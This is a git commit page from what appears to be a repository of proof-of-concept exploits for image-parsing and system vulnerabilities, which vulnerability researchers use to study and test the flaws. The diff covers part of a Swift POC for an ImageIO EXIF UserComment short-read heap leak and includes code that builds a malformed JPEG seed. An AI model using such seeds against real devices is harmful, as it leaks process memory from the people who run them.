v2.0 — 31 C POC twins + harness fixes

- 31 C POC files, one per CVE folder: full seed construction + trigger +
  main(), self-contained, no app dependency. All compile clean with
  clang -O2 -Wall (zero warnings) on macOS arm64; each has a recorded
  oracle on this host.
- CMGetDMVersionLevelFromRPU ABI pinned by disassembly: macOS export is
  (CFDataRef), the Swift POC drives the 4-arg iOS surface — this is the
  mechanism behind the cm.rpu death oracle on the simulator build.
- Harness fixes: glyphCount guard, MachOInspector size guard, ModTools
  clamp, DeviceModel iPhone19,7, GPTPayload clamps, Gate patch display.
- POC comments rewritten English-only (31 swift + arc.rr + 5 py).
- README (en/zh): C twin column, .c anatomy section, compile/run
  examples, C oracle verification status.
- Dead if-let binding removed from Identity summary; v2.0 build 3.
This commit is contained in:
JBJF committed 2026-10-29 20:08:55 +08:00
1 parent 1ea76ab005
commit 7949c7ce9f
79 files changed
+4109 -892

No files matched your search

+3 -17
View File
@@ -1,22 +1,8 @@
// iio.jpeg.comment · ImageIO · ReadUserComment · CVE-2026-112571
// 原语: 信息泄露 · 进程内 · tier 2
// Primitive: info leak · in-process · tier 2
//
// [zh] EXIF UserComment 短读 → 元数据泄露
// getBytesAtOffset 的返回值未被检查。当条目值偏移落在标记之外时发生短读,malloc 缓冲尾部保持未初始化,随后该缓冲作为 UserComment 元数据返回给调用方 ——
// 构成对进程堆的直接读取。
//
// [en] EXIF UserComment short read → metadata disclosure
// The return value of getBytesAtOffset is never checked. When an entry's value offset falls outside
// the marker the read comes up short, the tail of the malloc'd buffer stays uninitialised, and that
// buffer is then handed back to the caller as the UserComment metadata value — a direct read of the
// process heap.
// ── 判别 / oracle ──
// count 声明 0x400,值偏移 +0x4000。返回值里会打印实际拿到的字节数与前 24 字节。
// EXIF UserComment short read → metadata disclosure
import Foundation
// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ──
// ── byte helpers (from Cinder27 Sources/Kit.swift) ──
enum B {
static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] }
static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] }
@@ -37,7 +23,7 @@ enum B {
static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) }
}
// ── 种子构造 / seed construction — verbatim from Cinder27 Sources (JPEGPayload) ──
// ── seed construction (from Cinder27 Sources: JPEGPayload) ──
enum JPEGPayload {
static func exifUserComment(count: Int = 0x400, valueOffset: Int = 0x4000) -> Data {
var tiff = Data()